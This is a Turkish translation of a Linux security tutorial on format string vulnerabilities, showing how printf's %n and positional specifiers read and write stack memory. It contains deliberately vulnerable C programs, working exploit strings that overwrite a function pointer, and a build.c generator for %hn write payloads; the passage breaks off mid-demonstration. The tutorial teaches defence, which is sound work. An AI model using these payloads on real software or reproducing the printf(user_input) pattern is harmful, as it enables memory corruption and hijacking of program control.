4. Bölüm - Uygulama geliştirme sırasında güvenlik açıklarından kaçınmak.

ArticleCategory:

Software Development

AuthorImage:

[image of the authors]

TranslationInfo:

Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier

fr to en:Frédéric

en to en:Lorne Bailey

en to tr:Erdal MUTLU

AboutTheAuthor:

Christophe Blaess bağımsız bir aeronotic mühendisidir. Kendisi Linux hayranıdır ve ilşrerinin birçoğunu Linux altında yapmaktadır. Linux Kaynakyazılandırım Projesi (Linux Documentatiın Project) tarafından yayımlanan man sayfalarının çevirilmesini yönetmektedir.

Christophe Grenier ESIEA'da öğrenci olarak 5. yılındadır ve aynı zamanda burada sistem yöneticiliği yapmaktadır. Bilgisayar güvenliği konusunda özel merakı vardır.

Frédéric Raynal, çevreyi kirletmediği, hormon kullanılmadığı, MSG veya hayvansal malzemeler kullanılmadığı ve sadece tatlıdan oluştuğu için Linux işletim sistemini yıllardır kullanmaktadır.

Abstract

Bir süredir katarların biçimlendirilmesi ile ilgili güvenlik açıklarının sayısında oldukça önemli artışlar gözlenmektedir. Bu makalede tehlikenin nereden geldiği anlatımakta ve program içerisinde altı byte kazanmak için yapılanlar güvenlik konusunda verilmiş bir tavizin nasıl ortaya çıktığını göstermektedir.

ArticleIllustration:[illustration]

[article illustration]

ArticleBody:[The real article: put the text and html-codes here]

Tehlike bunun neresinde ?

Güvenlik açıklarının birçoğu kötü yapılmış yapılandırmalardan veya tembellikten dolayı ortaya çıkmaktadır. Bu yargı katarların biçimlendirilmesi için de geçerlidir.

Genellikle program içerisinde null ile sonlandırlmış katarlarların kullanımına gereksinim vardır. Bunun program içerisindeki yeri önemli değildir. Sorun belleğe douğrudan yapılan yazma işleminden kaynaklanmaktadır. Saldırı, stdin, dosyalar ve benzeri yerlerden gelebilir. Tekbir komut yeterli olmaktadır:

printf("%s", str);

Bunun yanında programcı, altı byte ve zamandan kazanmak isteyebilir ve :

printf(str);

yazabilir. Aklında sadece "ekonomi" vardı, ancak programcı kendi programında olası bir güvenlik açığı yaratmış olur. Ekranda görüntülenmek üzere tek parametre kullandığı için programcı memnun. Ancak, karakter katarı içerisinde (%d, %g...) gibi biçimlendirme işaretlerine karşı incelenecektir. Eğer, böyle bir işaret bulunursa, buna karşı gelen parametre, yığıt üzerinde aranacaktır.

İşe printf() fonksiyonları ailesini tanıtmakla başlayacağız. Ayrıntılı olarak olmasa da herkes en azından bu fonksiyonları tanıyor. Biz bu fonksiyonların az bilinen yönleri ile ilgileneceğiz. Daha sonra böyle bir hatadan yararlanmanın bilgisini de vereceğiz. Sonunda, bütün bu anlatılanları bir örnek üzerinde göstereceğiz.

Katar biçimlendirilmesine derin bir bakış

Bu bölümde katarların biçimlendirilmesini ele alacağız. Başlangıçta, kullanımlarını özetleyeceğiz, daha sonra az bilinen bir biçimlendirme işaretini keşfedeceğiz.

printf() : onlar bana yalan söyledi !

Fransa'da yaşamayanlar için bir not : bizim güzel ülkemizde yaşayan bir bisiklet yarışçısı, aylardır hiç doping ilacı kullanmadığını etti. Aynı zamanda takım arkadaşları aldığını söylüyorlar. Kendisi, bilinçli olarak doping almadığını iddia ediyor. Ben de bu başlık için, bir Fransız sözü olan "on m'aurait menti !"' dan esinlendim.

Hepimizin bildiği ve programlama kitaplarında yer alan C'de giriş/çıkış fonksiyonlarının birçoğu verileri biçimlendirilmiş olarak işlemektedir. Bunun anlamı, verileri işlemek için sadece verinin kendisini değil, aynı zamanda nasıl gösterileceğini de belirtmek gerekmektedir. Aşağıdaki program bu konuyu göstermektedir :

/* display.c */
#include <stdio.h>

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
Programı çalıştırdığınızda :
>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a
İlk printf() fonksiyonu i tamsayı ve a karakter değişkenlerinin değerlerini int olarak yazmaktadır (bu %d biçimlendirme işareti kullanılarak yapılmıştır). Böylece, a'nın ASCII değeri elde edilmektedir. Diğer taraftan, ikinci printf fonksiyonu, tamsayı değişkeni olan i'nin ASCII tablosundaki karşılığı olan 64 değerini göstermektedir.

Şimdiye kadar yeni bir şey yok. Herşey printf ve benzeri fonksiyonlarının sahip oldukalrı tanımlamaya uygundur :

  1. Seçilen biçimi, karakter katarı biçimindeki tek parametre (const char *format) belirlemektedir;
  2. Önceki katarda belirtilen işaretlere göre biçimlendirilecek bir veya birden fazla parametre, değişkenler aracılığı ile belirtilebir.

Genelde, biçimlendirme işaretlerinin bir listesi (%g, %h, %x ve . sayılardaki duyarlılığı belirttiyor) verildikten sonra bu konudaki birçok programlama dersi burada sona ermektedir. Ama hiç konuşulmayan birşey daha vardır : %n. printf() fonksiyonunun man sayfasında bununla ilgili şunlar yazmaktadır :

Bu ana kadar yazılan karakterlerin sayısı int * ile belirtilen bir işaretçi tamsayı değişkeninde saklanmaktadır. Parametre çevirilmesi yapılmamaktadır.

Sadece bir görüntüleme fonksiyonu olmasına rağmen, bu parametre bir işaretçi değişkene yazılmasını sağlamaktadır. Makalenin en önemli kısmı budur!

Devam etmeden önce, bu biçimlendirme şekli scanf() ve syslog() ailesinden olan fonksiyonlar için de geçerli olduğunu söylemek gerekir.

Oyun zamanı

Bu biçimlendirme şeklinin özelliklerini küçük örnek programlar aracılıyla inceleyeceğiz. Örneklerden ilki olan printf1 çok basit bir kullanımı göstermektedir :

/* printf1.c */
1: #include <stdio.h>
2: 
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:   
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

İlk printf() fonksiyonu 10 karakterden oluşan bir katarı ekrana yazmaktadır. %n biçimlendirme işareti sayesinde, bu değer n değişkenine yaziılmaktadır. Programı derleyip, çalıştırırsak :

>>gcc printf1.c -o printf1
>>./printf1 
0123456789
n = 10
elde ederiz. Şimdi programı biraz değiştirelim. Bunun için 7.satırdaki printf() ifadesini aşağıdaki :
7:   printf("buf=%s%n\n", buf, &n);
ile değiştirelim.

Bu program çalıştırıldığında düşüncemiz doğrulanmaktadır : n değişkeni artık 14 (10 karakter buf den ve 4 karakter de biçimlendirme katarından "buf=") tür.

Demek ki %n, biçimlendirme katarında yer alan tüm karakterleri saymaktadır. printf2 programında da göreceğimiz gibi, daha da fazlasını saymaktadır :

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;
  
  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}
snprintf() fonksiyonun kullanılmasının nedeni, bellek taşmalarını önlemektir. n değişkeninin değeri 10 olmalıdır.
>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100
Garip değil mi ? Gerçekte, %n yazılması gereken karakter sayısını ele almaktadır. Bu örnek, boyut aşılmasından dolayı yapılması gereken kısaltmaın gözardı edildiğini göstermektedir.

Gerçekte ne oldu? Olan şu, biçimlendirme katarı önce genişletildi, sonra boyutu kadarı alındı (kesildi) ve hedef bellek alanına kopyalandı:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
printf3 programı, printf2 programına göre bazı farklılıklar içermektedir: Programı derleyip çalıştırdığımızda aşağıdaki sonucu elde ederiz :
>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)
İlk iki satır sürpriz değil. Son satır ise, printf() fonksiyonunun çalışma şeklini göstermektedir :
  1. Biçimlendirme katarındaki komutlara 1 göre "00000\0" katarı oluşturmuştur;
  2. Değişkenler olması gereken yerlerde, bunu örneğimizdeki x değişkeninin değerinin kopyalanması göstermektedir. Bunun sonucunda katar, "01234\0" şeklinde görünmektedir;
  3. Son olarak bu katardan sizeof buf - 1 byte2 lık kısım hedef buf katarına kopyalanmış ve "0123\0" elde edilmiştir.
Bu işleyişin genel olarak nasıl olduğunu göstermektedir. Daha fazla bilgi için okuyucu GlibC belgelerine, özellikle ${GLIBC_HOME}/stdio-common dizinindeki vfprintf() fonksiyonuna bakabilir.

Bu bölümü bitirmeden önce, aynı sonuçları biçimlendirme şeklini biraz değiştirerek de elde etmenin mümkün olduğunu söylemek gerekir. Daha önce, duyarlılık ('.' nokta) denilen biçimlendirmeden faydalanmıştık. Benzer sonuçları : 0n ile elde etmek mümkündür. Buradaki, n sayısı, katar genişliğini, 0 ise, katarın alabileceği kapasite doldurulmadıysa, geriye kalan kısımları boşluklarla tamamlanması için konulmuştur.

Artık katar biçimlendirmeleri konusunda hemen hemen herşeyi, özellikle de %n konusunda, öğrendiğinize göre şimdi bunların davranışlarını inceleyeceğiz.

Yığıt ve printf()

Yığıt üzerinde yürümek

Şimdiki program, printf() fonksiyonu ile yığıt arasındaki ilişkinin ne olduğunu öğrenmede bize rehberlik edecektir :

/* stack.c */
 1: #include <stdio.h>
 2: 
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }
Program, parametre ile verilen değeri buffer karakter dizisine kopyalamaktadır. Verilerin bellek taşması sonucu üzerine yazılmaması için özen göstermekteyiz (biçimlendirme katarları, bellek taimalarına göre gerçekten daha özenlidirler).
>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)
Program, tam beklediğimiz gibi çalışmaktadır :) Daha ileriye gitmeden önce, 8. satırdaki snprintf() fonksiyonu çağırma sırasında yığıt tarafında neler olduğuna bir bakalım.
Fig. 1 : snprintf() fonksiyonunu çağırmadan önce yığıtın durumu.
snprintf()

1 çizimi, snprintf() fonksiyonunu çağırmadan önceki yığıtın durumunu göstermektedir (bunun doğru olmadığını göreceğız...). Bu çizim sadece olanlar hakkında bir fikir vermek için hazırlanmıştır. %ebp registerin altında bir yerde bulunan %esp registerini dikkate almayacağız. Daha önceki makaleden hatırlanacağı üzere, %ebp ve %ebp+4'de bulunan ilk değer, sırasıyla %ebp ve %ebp+4'ün yedekleridir. Daha sonra snprintf() fonksiyonunun parametreleri gelmektedir :

  1. hedef adres değeri;
  2. kopyalanacak karakter sayısı;
  3. veri olarak iş gören, argv[1] biçimlendirme katarının adresi gelmektedir.
Son olarak, yığıtın tepesinde 4 byte'lık tmp karakter dizisinin verileri, 64 byte'lık buffer ve i tamsayı değikeni yer almaktadır.

argv[1] katarı aynı zamanda hem biçimlendirme ve hemde veri olarak kullanılmaktadır. snprintf() fonksiyonunun normal sırasına göre biçimlendrime katarı yerine argv[1] gözükmektedir. Biçimlendirme katarını, biçimlendirme işaretleri olmadan da kullanabileceğimize göre (sadece metin gibi) herşey yolunda demektir :)

Peki, argv[1] içerisinde biçimlendirme işaratleri olduğunda acaba ne olmaktadır? Normalde, snprintf() foksiyonu onları olduğu gibi değerlendirmektedir, başka türlü olması için bir neden yoktur! Ancak, burada biçimlendirme için, hangi parametrelerin veri olarak kullanılacağını merak edebiliriz. Gerçekte snprintf() fonksiyonu gerekli verileri, yığıttan almaktadır! Bunun böyle olduğunu, stack programından görebilirsiniz :

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

İlk önce "123 " katarı buffer üzerine kopyalanmaktadır. %x ifadesi, ilk parametreyi çevirmesi için snprintf() fonksiyonundan istekte bulunmaktadır. 1 çiziminden de anlaşılacağı üzere, ilk parametre \x01\x02\x03\x00 değerine sahip olan tmp değişkeninden başkası değildir. x86 işlemcimizin küçük indian mimarisine göre bu katarın 16'lık sayı tabanına göre değeri 0x00030201 olmaktadır.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

İkinci bir %x eklenmesiyle, yığıt üzerinde daha da yukarıya ulaşabiliriz. Bu snprintf() fonksiyonuna daha sonraki 4 byte'a bakmasını söylemektedir. Gerçekte bu 4 byte buffer değişkeninin 4 byte dır. buffer değişkeni, "123 " katarını içermektedir, 16'lık sayı tabanına göre bu değer 0x20333231 (0x20=boşluk, 0x31='1'...) dir. Dolayısıyla her %x için, snprintf() fonksiyonu yığıt üzerinde bulunan buffer değişkeninin 4 byte'ına (4 byte olmasının nedeni, x86 işlemcisi unsigned int için 4 byte ayırmaktadır) daha ulaşmaktadır. Bu değişken iki işlevi yerine getirmektedir:

  1. hedefe yazmak;
  2. biçimlendirme için giriş aygıtından veri okumak.
Yığıt üzerinde yukarıya olan tırmanışımız, bellekte bytelar olduğu sürece mümkündür:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 
         0x333837] (63)
i = 1 (bffff654)

Hatta daha yukarıya

Bir önceki yöntem, bellek üzerindeki önemli bilgilere bakmamızı sağlamaktadır, hatta yığıtı yaratan fonksiyonun dönüş adresine de ulaşabiliriz. Ancak, doğru biçimlendirme kullanılarak daha öteye de gidilebilinir.

Parametreler arasında yerdeğiştirme gerektiği durumda (sözgelimi tarih ve saat bilgilerini göstermek gerektiğinde) uygun biçimlendirme ifadesini bulmak mümkündür. Biz, % işaretinin hemen ardına m >0 bir tamsayı olmak üzere m$ ifadesini ekledik. Bu bize, parametre listesinde kullanılacak değişkenin yerini (1'den başlamak üzere) vermektedir :

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

m$ biçimlendirme ifadesi sayesinde, yığıt üzerinde, gdb ile yapabildiğimiz gibi istediğimiz yere gidebiliyoruz :

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

Buradaki \ karakteri, kabuk programının $ karakterini başka türlü yorumlamasını önlemek amacıyla konulmaktadır. İlk üç çalıştırmada, buf değişkeninin içeriğini elde ettik. %4\$x ifadesiyle, %ebp registerında yedeklenmiş değeri ve %5\$x ifadesiyle, %eip register üzerine yedeklenmiş değeri (dönüş adresleri) elde ettik. Son iki çalıştırmada ise, argc değişkeninin değerini ve *argv de yer alan adres değerini (unutmayın ki **argv ifadesi, *argv'nin değerleri adresler olan bir dizidir) elde ettik.

Kısaca ...

Bu örnekte de görüldüğü gibi, verilen biçimlendirme ifadelerine göre yığıt üzerinde bilgi arayabilir, adresler bulabiliriz vs. Aynı zamanda, bu makalenin başında gördük ki printf() ailesinden olan fonksiyonlar yardımıyla buralara yzabiliriz. Bu size de bir potansiyel güvenlik açığı olarak görünmüyor mu?

İlk adımlar

stack programına geri dönelim:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [döÿ¿000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)
	
Giriş katarı olarak şunları veriyoruz::
  1. i değişkeninin adresinini;
  2. (%.496x) biçimlendirme ifadesini;
  3. (%n) ifadesini, verilen adrese yazmak için veriyoruz.
i değişkeninin adresini (burada 0xbffff664) bulabilmek için programı iki defa çalıştırabiliriz ve komut satırındaki parametreleri de ona göre değiştirebiliriz. Görüldüğü gibi, i'nin yeni değeri var :) Verilen biçimlendirme ifadesi ve yığıtın yapılandırması snprintf() fonksiyonun aşağıdaki gibi görünmesini sağlamaktadır :
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         katardaki 4  byte);

i adresini içeren ilk dört byte, buffer katarının başına yazılmaktadır. %.496x biçimlendirme ifadesi, yığıtın başında bulunan tmp değişkeninden kurtulmamızı sağlamaktadır. Ondan sonra %n biçimlendirme ifadesi verildiğinde, artık i değişkeninin adresi buffer katarının başında yer alacaktır. 496 byte'lık duyarlılığa sahip olmamız gerekirken, snprintf fonksiyonu maksimum 60 byte yazmaktadır (çünkü, katarın boyutu 64'tür ve 4 byte zaten yazılmıştı). 496 rakamı rastgele oluşmuştur ve sadece "byte sayacını" ayarlamak amacıyla kullanılmaktadır. %n ifadesinin kendisinden önce yazılmış byte sayısını elde etmekte kullanıldığını daha önce görmüştük. Buradan elde edilen değer 496 dır ve biz buna buffer başında bulunan i değişkeninin 4 byte'lık adres değerini eklememiz gerekmektedir. Sonuçta 500 elde edilmektedir. Bu değer, yığıt üzerinde sonraki adrese, i değişkeninin adresine, yazmamızı sağlayacaktır.

Bu örnekten hareketle daha da ileriye gidebiliriz. i'yi değiştirmek için, onun adresine sahip olmamız gerekmektedir... Ama bazen programın kendisi bize bu bilgiyi vermektedir :

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Bu programı çalışması, yığıtı istediğimiz (hemen hemen) gibi kullanabileceğimizi göstermektedir:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

Görüldüğü gibi, parametrenin değerine göre, cpt1 veya cpt2 değişkeninin değerini değiştirebiliyoruz. %n biçimlendirme ifadesi parametre olarak adres istemektedir, bu nedenledir ki biz değişkenleri doğrudan (%3$n (cpt2) veya %4$n (cpt1) kullanarak) değiştiremiyoruz. Bunu ancak, işaretçiler kullanarak yapabiliyoruz. Bu da bize, üzerinden bir sürü değişiklik yapabileceğimiz "yeni malzeme" vermektedir.

Aynı konudaki farklılıklar

Daha önce gösterdiğimiz örnek programlar, egcs-2.91.66 ve glibc-2.1.3-22 kullanarak derlenmişti. Ancak, siz kendi bilgisayarınızda aynı sonuçları elde edemeyebilirsiniz. *printf() şeklindeki fonksiyonlar, glibc göre değişmektedir ve derleyiciler aynı işlemleri yerine getirmemektedir.

stuff programı farklılıkları ortaya çıkartmaktadır:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {
  
  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

aaa ve bbb dizileri, yığıt üzerindeki gezintimiz sırasında ayraç olarak görev yapmaktadır. Dolayısıyla, 424242 bulduğumuz anda, ondan sonra gelen byte'lar buffer değişkeninin bilgileri olacaktır. 1 tablosunda, glibc'nin ve derleyicilerinin farklı sürümlerinde elde edilmiş değerleri görmekteyiz.

Tab. 1 : glibc arasındaki farklılıklar    
Derleyici
glibc
Görüntü
gcc-2.95.3 2.1.3-16 buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63)
egcs-2.91.66 2.1.3-22 buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63)
gcc-2.96 2.1.92-14 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)
gcc-2.96 2.2-12 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)

Makalenin geri kalanında biz egcs-2.91.66 ve glibc-2.1.3-22 kullanacağız, eğer siz kendi bilgisayarınızda başka sonuçlar elde edersiniz, hiç şaşırmayın.

Biçimlendirme açığını kullanmak

Katar taşmalarını kullanırken, dönüş değeri üzerine yazabilmek için bir katardan faydalanmıştık.

Biçimlendirme katarları durumunda ise, her yere (yığıt, heap, bss, .dtors, ...) gidebileceğimizi gördük, sadece nerey ve ne yazacağımıza karar vermemiz yeterli, geriye kalan işi %n yerine getirecektir.

Tehlikeli (vulnerable) program

Biçimlendirme açıklarından farklı yöntemler kullanarak yararlanabiliriz. P. Bouchareine'ın (Biçimlendirme katarı tehlikesi (vulnerability)) makalesinde, bir fonksiyonunun dönüş adresini üzerine nasıl yazılacağını veya değitirileceğini göstermektedir. Biz başka bir şey göstereceğiz.
/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
  
  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);
  
  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

ptrf adında ve fonksiyon işaretçisi olan bir değişken tanımladık. Bu değişkenin değerini, çalıştırmak istediğimiz fonksiyonu gösterecek şekilde değiştireceğiz.

İlk örnek

İlk önce, buffer değişkenin başlangıcı ile yığıt arasındaki uzaklığı bulmamız gerekiyor :

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

Programı ilk çalıştırdığımızda istediğimizi elde ediyoruz : buffer değikeninden bizi 3 kelime (x86 işlemcilerinde bir kelime = 4 byte dır) ayırmaktadır. Bunun gerçekte böyle olduğunu programı AAAA%3\$x parametresini vererek ikinci defa çalıştırdığımızda anlıyoruz.

Amacımız, ptrf değişkenin başlangıçta işaret ettiği 0x8048634 (helloWorld() fonksiyonunun adresi) adresinden, 0x8048654 (accessForbidden() fonksiyonunun adresi) adresini gösterecek şekilde değiştirmektir. Bunun için 0x8048654 byte (16'lık tabana göre, bu yaklaşık 128 MB dır), yazmamız gerekecektir. Tüm bilgisayarlar bu kadar belleğe sahip olmayabilirler, ama bizim bilgisayarda bu kadar bellek var:) 350 MHz'lik iki işlemcili Pentium olan bilgisayarımızda bu işlem 20 saniye sürdü :

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

Biz ne yaptık? Yaptığımız şey sadece ptrf (0xbffff5d4) adresini sağlamak oldu. Sonraki biçimlendirme ifadesi (%.134514256x) yığıt üzerindeki 134514256 byte ötede bulunan ilk kelimeyi (ptrf değişkenininden itibaren 4 byte zaten yazmıştık, dolayısıyla geriye 134514260-4=134514256 byte kalıyor) okumaktadır. Sonunda, istediğimiz değeri, verilmiş olan adrese (%3$n) yazmış olduk.

Bellek sorunları: böl ve kazan

Ancak, daha önce de söylediğimiz gibi, 128 MB'lık bellek kullanmak herzaman mümkün değildir. %n biçimlendirme ifadesinin, 4 byte'lık bir tamsayı değişkenini gösterecek bir işaretçiye ihtiyacı vardır. %hn biçimlendirme ifadesi sayesinde bunu, short int - 2 byte'lık bir işaretçi kullanacak şekilde değiştirebiliyoruz. Dolayısıyla yazmak istediğimiz tam sayı değerini iki bölüme ayırmış oluyoruz. Yazılabilecek en büyük kısım artık, 0xffff byte'a (65535 byte) sığmaktadır. Böylece, önceki örnekte yer alan "0xbffff5d4 adresi üzerine 0x8048654" yazma işlemini, iki ardışık işlem haline getiriyoruz :

İkinci yazma işlemi, tamsayıların üst byteları üzerinde gerçekleşmektedir, bu da 2 byte'lık değişikliği açıklamaktadır.

Ancak, %n (veya %hn) ifadesi, katar üzerine yazılan toplam karakter sayısını saymaktadır. Bu sayı sadece artabilmektedir. İlk önce, ikisi arasındaki en küçük değeri yazmamız gerekir. Ondan sonra, ikinci biçimlendirme ifadesi, duyarlılık olarak yazılan ilk sayı ile gerekli sayı arasındaki farkı kullanacaktır. Sözgelimi, bizim örnekte, ilk biçimlendirme işlemi %.2052x (2052 = 0x0804) ve ikincisi %.32336x (32336 = 0x8654 - 0x0804) olmalıdır. Hemen arkadan yazılan her %hn ifadesi, byte sayısını doğru olarak hesaplayacaktır.

Bizim sadece %hn ifadelerini nereye yazacağımızı belirlememiz gerekecektir. Bunun için, m$ ifadesi bize yardımcı olacaktır. Eğer, adresleri katarın başına kaydedersek, m$ ifadesinin yardımıyla yığıt üzerinde hareket ederek, gerekli uzaklığı bulabiliriz. Ondan sonra iki adres de m ve m+1 uzaklıkta olacaktır. Katarın ilk 8 byte'ına üzerine yazılacak adres değerini kaydettiğimiz için, ilk yazılan değerden 8 çıkartmak gerekecektir.

Biçimlendirme katarı aşağıdaki gibi olamaktadır:

"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val. min.]x%[offset+1]$hn"

Biçimlendirme katarını oluşturmak için, build programı üç parametre kullanmaktadır:

  1. değiştirilecek (üzerine yazılacak) adres;
  2. oraya yazılacak değer;
  3. katar başından itibaren olan uzaklık (kelime olarak).
/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
   Yazılacak 4 byte şu şekilde yerleştirilmektedir :
   HH HH LL LL
   "*h" ile biten değişkenler kelimenin üst kısmını göstermektedir (H).
   "*l" ile biten değişkenler kelimenin alt kısmını göstermektedir (L).
 */
char* build(unsigned int addr, unsigned int value, 
      unsigned int where) {

  /* doğru değeri bulabilmek için oldukça tembel... :*/
  unsigned int length = 128; 
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* değeri ayrıntılandırma */
  valh = (value >> 16) & 0xffff; //üst
  vall = value & 0xffff;         //alt

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* katar için bellek ayırımı */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* şimdi oluşturalım */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* üst adres */
         "%c%c%c%c"           /* alt adres */

         "%%.%hdx"            /* ilk %hn için değeri yerleştirme*/
         "%%%d$hn"            /* %hn üst kısım için */

         "%%.%hdx"            /* ikinci %hn için değeri yerleştirme */
         "%%%d$hn"            /* %hn alt kısım için */         
         ,
         b3+2, b2, b1, b0,    /* üst adres */
         b3, b2, b1, b0,      /* alt adres */

         valh-8,              /* ilk %hn için değeri yerleştirme */  
         where,               /* %hn üst kısım için */        
                                                         
         vall-valh,           /* ikinci %hn için değeri yerleştirme */ 
         where+1              /* %hn alt kısım için */               
         );
         
  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* üst adres */
         "%c%c%c%c"           /* alt adres */

         "%%.%hdx"            /* ilk %hn için değeri yerleştirme */    
         "%%%d$hn"            /* %hn üst kısım için */          
                                                           
         "%%.%hdx"            /* ikinci %hn için değeri yerleştirme */   
         "%%%d$hn"            /* %hn alt kısım için */
         ,                                                     
         b3+2, b2, b1, b0,    /* üst adres */                       
         b3, b2, b1, b0,      /* alt adres */                        
                                                           
         vall-8,              /* ilk %hn için değeri yerleştirme */    
         where+1,             /* %hn üst kısım için */          
                                                           
         valh-vall,           /* ikinci %hn için değeri yerleştirme */   
         where                /* %hn alt kısım için */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */
  
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

Yazılacak değerin kelimenin üst veya alt tarafına yazılmasına göre parametrelerin yeri değişmektedir. Herhangi bellek sorunu yaşamadan önce yaptığımız bir deneyelim.

Basit örneğimiz bize, ilk önce uzaklığın tahmin edilmesinde yardımcı olmaktadır:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
